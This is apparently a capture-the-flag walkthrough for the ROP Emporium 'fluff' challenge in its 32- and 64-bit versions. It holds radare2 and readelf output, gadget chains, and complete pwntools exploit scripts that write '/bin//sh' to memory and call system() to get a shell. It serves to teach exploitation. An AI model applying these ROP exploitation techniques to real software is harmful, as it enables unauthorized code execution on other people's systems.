Fluff 32 Bit
Overall the objective still same as write4 but in this binary the ROP gadget in the binary is limited. We need to find the ROP chain to achieve the objective. First, let’s find the EIP offset using Radare2.
root@Perseverance:~/rop_emporium/fluff32# r2 -de dbg.profile=profile.rr2 fluff32
Process with PID 1818 started...
= attach 1818 1818
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
[0xf7f470b0]> dc
fluff by ROP Emporium
32bits
You know changing these strings means I have to rewrite my solutions...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44
EIP offset is 44. Find the writable memory section using readelf
command.
root@Perseverance:~/rop_emporium/fluff32# readelf --sections fluff32
There are 31 section headers, starting at offset 0x1970:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481dc 0001dc 0000d0 10 A 6 1 4
[ 6] .dynstr STRTAB 080482ac 0002ac 000081 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804832e 00032e 00001a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048348 000348 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048368 000368 000020 08 A 5 0 4
[10] .rel.plt REL 08048388 000388 000038 08 AI 5 24 4
[11] .init PROGBITS 080483c0 0003c0 000023 00 AX 0 0 4
[12] .plt PROGBITS 080483f0 0003f0 000080 04 AX 0 0 16
[13] .plt.got PROGBITS 08048470 000470 000008 00 AX 0 0 8
[14] .text PROGBITS 08048480 000480 000282 00 AX 0 0 16
[15] .fini PROGBITS 08048704 000704 000014 00 AX 0 0 4
[16] .rodata PROGBITS 08048718 000718 000083 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0804879c 00079c 00003c 00 A 0 0 4
[18] .eh_frame PROGBITS 080487d8 0007d8 00010c 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4
[25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32
[27] .comment PROGBITS 00000000 001030 000034 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 001865 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 001064 000510 10 30 50 4
[30] .strtab STRTAB 00000000 001574 0002f1 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
The .data section is writable. We will write the “/bin/sh” string into .data section but we need to write a few bytes after the start address because of the start address (0x0804a028) used by the libc. In this case, we will write the string into “0x0804a048”.
Next, we need to find the ROP gadget that we can use to write the string using ROPGadget tools. For this challenge, below ROP chain can be used to write a string into the memory.
xor_edx_edx = 0x08048671 # xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
pop_ebx = 0x080483e1 # pop ebx ; ret
xor_edx_ebx = 0x0804867b # xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
xchg_edx_ecx = 0x08048689 # xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
mov_ecx_edx = 0x08048693 # mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
Since the binary is 32-bit, we only able to write 4 characters on each operation, so we split the “/bin//sh” into “/bin” and “//sh”. To make it more convenient we can make a function to write the string and call it with arguments.
def write_data(data, destination):
payload = ""
payload += p32(xor_edx_edx) # set EDX to 0
payload += "BBBB"
payload += p32(pop_ebx) # set ebx value to the destination memory address
payload += p32(destination)
payload += p32(xor_edx_ebx) # write EBX value to EDX, now EDX contains the value of destination memory address
payload += "BBBB"
payload += p32(xchg_edx_ecx) # Exhcange the value of edx to ecx, now ECX contains the value of destination memory address
payload += "BBBB"
# Write 4 characters string into EDX
payload += p32(xor_edx_edx) # set EDX to 0
payload += "BBBB"
payload += p32(pop_ebx) # set EBX value to the string that will be written into memory
payload += data
payload += p32(xor_edx_ebx) # set the value of EDX = string
payload += "BBBB"
# Write EDX to ECX
payload += p32(mov_ecx_edx) # Write the EDX value into the address pointed by ECX value
payload += "BBBB"
payload += p32(0)
return payload
After writing the “/bin/sh” string into memory, we can call the system_plt using the “/bin//sh” as the argument to get the Shell.
write_bin = write_data("/bin", data_addr)
write_sh = write_data("//sh", data_addr+4)
# Sytem call execute /bin/sh
syscall = ""
syscall += p32(system_plt)
syscall += "BBBB"
syscall += p32(data_addr)
Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
from pwn import *
xor_edx_edx = 0x08048671 # xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
pop_ebx = 0x080483e1 # pop ebx ; ret
xor_edx_ebx = 0x0804867b # xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
xchg_edx_ecx = 0x08048689 # xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
mov_ecx_edx = 0x08048693 # mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
system_plt = 0x8048430
data_addr = 0x0804a048
def write_data(data, destination):
payload = ""
payload += p32(xor_edx_edx) # set EDX =0 dan POP "BBBB" ke EBP
payload += "BBBB"
payload += p32(pop_ebx) # set ebx = data_address
payload += p32(destination)
payload += p32(xor_edx_ebx) # after EDX 0, XOR it to EBX will make it have same value as EBX , EDX = data_address
payload += "BBBB"
payload += p32(xchg_edx_ecx) # Exhcange the value of edx to ecx, ECX = data_address
payload += "BBBB"
# Write /bin string into EDX
payload += p32(xor_edx_edx) # set EDX to 0
payload += "BBBB"
payload += p32(pop_ebx) # set EBX value to the string that will be written into memory
payload += data
payload += p32(xor_edx_ebx) # set the value of EDX = string
payload += "BBBB"
# Write EDX to ECX
payload += p32(mov_ecx_edx) # Write the EDX value into the address pointed by ECX value
payload += "BBBB"
payload += p32(0)
return payload
def main():
junk = "A" * 44 # EIP Offset at 44
write_bin = write_data("/bin", data_addr)
write_sh = write_data("//sh", data_addr+4)
# Sytem call execute /bin/sh
syscall = ""
syscall += p32(system_plt)
syscall += "BBBB"
syscall += p32(data_addr)
payload = junk + write_bin + write_sh + syscall
p = process("./fluff32")
p.sendlineafter("> ", payload)
p.interactive()
if __name__ == "__main__":
main()
Run the script and get the Shell.
root@Perseverance:~/rop_emporium/fluff32# ./fluff32.py
[+] Starting local process './fluff32': pid 1938
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
Fluff 64 Bit
Let’s find the RIP offset using Radare2.
root@Perseverance:~/rop_emporium/fluff# r2 -de dbg.profile=profile.rr2 fluff
Process with PID 2064 started...
= attach 2064 2064
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7f70dce1f090]> dc
fluff by ROP Emporium
64bits
You know changing these strings means I have to rewrite my solutions...
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400806]> pxq 8@rsp
0x7ffc93e92668 0x41415041414f4141 AAOAAPAA
[0x00400806]> wopO 0x41415041414f4141
40
[0x00400806]>
RIP offset is 40. Find the writable memory section using readelf
command.
root@Perseverance:~/rop_emporium/fluff# readelf --sections fluff
There are 31 section headers, starting at offset 0x1bf8:
--snipped--
[19] .init_array INIT_ARRAY 0000000000600e10 00000e10
0000000000000008 0000000000000000 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000600e18 00000e18
0000000000000008 0000000000000000 WA 0 0 8
[21] .jcr PROGBITS 0000000000600e20 00000e20
0000000000000008 0000000000000000 WA 0 0 8
[22] .dynamic DYNAMIC 0000000000600e28 00000e28
00000000000001d0 0000000000000010 WA 6 0 8
[23] .got PROGBITS 0000000000600ff8 00000ff8
0000000000000008 0000000000000008 WA 0 0 8
[24] .got.plt PROGBITS 0000000000601000 00001000
0000000000000050 0000000000000008 WA 0 0 8
[25] .data PROGBITS 0000000000601050 00001050
0000000000000010 0000000000000000 WA 0 0 8
[26] .bss NOBITS 0000000000601060 00001060
0000000000000030 0000000000000000 WA 0 0 32
--snipped--
The .data section is writable and we will write the “/bin/sh” string into that section. Since this is 64-bit binary, we can write “/bin/sh” without splitting it. Use ROP Gadget to find suitable gadgets to write “/bin/sh” into the .data section. Below is the gadget that I used to write the string into the data section.
xor_r11_r11 = p64(0x0000000000400822) # xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
pop_r12 = p64(0x0000000000400832) # pop r12 ; mov r13d, 0x604060 ; ret
xor_r11_r12 = p64(0x000000000040082f) # xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
xchg_r11_r10 = p64(0x0000000000400840) # xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
mov_r10_r11 = p64(0x000000000040084c) # mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
# write .data memory address into r10 register
rop = ""
rop += xor_r11_r11 # set R11 to 0
rop += "BBBBBBBB"
rop += pop_r12 # set R12 value to the data section address
rop += data_addr
rop += xor_r11_r12 # write R12 value to R11
rop += "BBBBBBBB"
rop += xchg_r11_r10 # Exchange the value of R11 to R10, now R10 contain the data section address
rop += "BBBBBBBB"
# write "/bin//sh" string into r11 registers
rop += xor_r11_r11 # set R11 to 0
rop += "BBBBBBBB"
rop += pop_r12 # set R12 value to "/bin//sh" string
rop += "/bin//sh"
rop += xor_r11_r12 # write R12 value to R11, now R11 contain the "/bin//sh" string
rop += "BBBBBBBB"
# write r11 value into r10 address
rop += mov_r10_r11 # Write the R11 value into the address pointed by R10 value
rop += "BBBBBBBB"
rop += "BBBBBBBB"
rop += p64(0)
After writing the “/bin/sh” string into memory, we can call the system_plt using the “/bin//sh” as the argument to get the Shell.
syscall = ""
syscall += pop_rdi
syscall += data_addr
syscall += system_plt
Below is a simple python script using pwntools to automate the process.
#!/usr/bin/python
from pwn import *
def main():
junk = "A" * 40 # RIP Offset at 40
xor_r11_r11 = p64(0x0000000000400822) # xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
pop_r12 = p64(0x0000000000400832) # pop r12 ; mov r13d, 0x604060 ; ret
xor_r11_r12 = p64(0x000000000040082f) # xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
xchg_r11_r10 = p64(0x0000000000400840) # xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
mov_r10_r11 = p64(0x000000000040084c) # mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
pop_rdi = p64(0x0000000000400844) # pop rdi ; mov r11d, 0x602050 ; ret
system_plt = p64(0x4005e0)
data_addr = p64(0x00601050)
# write .data memory address into r10 register
rop = ""
rop += xor_r11_r11 # set R11 to 0
rop += "BBBBBBBB"
rop += pop_r12 # set R12 value to the data section address
rop += data_addr
rop += xor_r11_r12 # write R12 value to R11
rop += "BBBBBBBB"
rop += xchg_r11_r10 # Exchange the value of R11 to R10, now R10 contain the data section address
rop += "BBBBBBBB"
# write "/bin//sh" string into r11 registers
rop += xor_r11_r11 # set R11 to 0
rop += "BBBBBBBB"
rop += pop_r12 # set R12 value to "/bin//sh" string
rop += "/bin//sh"
rop += xor_r11_r12 # write R12 value to R11, now R11 contain the "/bin//sh" string
rop += "BBBBBBBB"
# write r11 value into r10 address
rop += mov_r10_r11 # Write the R11 value into the address pointed by R10 value
rop += "BBBBBBBB"
rop += "BBBBBBBB"
rop += p64(0)
# System call execute /bin//sh
syscall = ""
syscall += pop_rdi
syscall += data_addr
syscall += system_plt
payload = junk + rop + syscall
p = process("./fluff")
p.sendlineafter("> ", payload)
p.interactive()
if __name__ == "__main__":
main()
Run the script and get the Shell.
root@Perseverance:~/rop_emporium/fluff# ./fluff.py
[+] Starting local process './fluff': pid 2203
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}